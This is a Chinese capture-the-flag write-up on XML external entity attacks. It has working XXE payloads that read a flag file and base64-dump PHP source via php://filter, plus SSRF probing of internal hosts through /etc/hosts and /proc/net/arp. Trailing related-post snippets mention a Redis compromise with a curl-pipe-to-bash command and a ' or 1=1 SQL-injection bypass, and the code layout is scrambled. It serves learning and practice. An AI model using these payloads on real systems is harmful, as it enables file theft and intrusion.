CTF XXE漏洞攻擊

2021-10-05 20:23:47 字數 3146 閱讀 3675

f12 檢視原始碼:

;}可以看到傳輸的資料是xml型別

payload打一下:

<?xml version=

"1.0" encoding=

"utf-8"

?>

<

!doctype any [

<

!entity xxe system

"file:///flag"

>

]>

&xxe;

<

/username>

111<

/password>

<

/user>

首先嘗試直接讀/flag檔案,回顯了報錯資訊,但是發現可以讀dologin檔案:

<?xml version=

"1.0" encoding=

"utf-8"

?>

<

!doctype any[

<

!entity file system

"php://filter/read=convert.base64-encode/resource=/var/www/html/dologin.php"

>

]>

&file;

<

/username>

1<

/password>

<

/user>

得原始碼:

<?php \n

/*** autor: c0ny1\n* date: 2018-2-7

*/$username

='admin'

;//\xe8\xb4\xa6\xe5\x8f\xb7

$password

='024b87931a03f738fff6693ce0a78c88'

;//\xe5\xaf\x86\xe7\xa0\x81

$result

=null

;libxml_disable_entity_loader

(false);

$xmlfile

=file_get_contents

('php://input');

tryelse

}catch

(exception $e

)header

('content-type: text/html; charset=utf-8');

echo

$result

;?>

最終是利用ssrf讀內網檔案:

// /etc/hosts

127.0

.0.1 localhost::

1 localhost ip6-localhost ip6-loopback

fe00:

:0 ip6-localnet

ff00:

:0 ip6-mcastprefix

ff02:

:1 ip6-allnodes

ff02:

:2 ip6-allrouters

173.17

.80.9 osrc

內網ip,173.17.80.9

//

/proc/net/arp

ip address hw type flags hw address mask device

173.17.80.2 0x1 0x2 02:42:ad:11:50:02 * eth0

173.17.80.12 0x1 0x2 02:42:ad:11:50:0c * eth0

最後試了173.17.80.10可以得flag

前面是jwt爆破得到秘鑰123456偽造user使用者就不說了,之後是乙個登入框,和上面兩個題目差不多,dologin()方法相同,題目根目錄下有flag.php。用xxe讀取檔案

讀取/var/www/html是因為這是apache預設根目錄

base64解碼即可

某個(忘了)比賽的兩道xml

redis漏洞防攻擊

redis伺服器遭攻擊,症狀 1.redis中的快取資料每10分鐘全部被清 2.許多目錄下多了root檔案和一堆隱藏檔案 3.redis多了三個key backup1 backup2 backup3 key值對應的內容如下 backup1 2 curl s cmd bash cmd backup2 ...

SQL注入漏洞攻擊

登陸判斷 select from t users where username and password 將引數拼到sql語句中。構造惡意的password or 1 1 if reader.read response.write 登入成功!else response.write 登入失敗!防範注入...

http host頭攻擊漏洞

為了方便的獲得 網域名稱,開發人員一般依賴於http host header。例如,在php裡用 server http host 但是這個header是不可信賴的,如果應用程式沒有對host header值進行處理,就有可能造成惡意 的傳入。web應用程式應該使用server name而不是hos...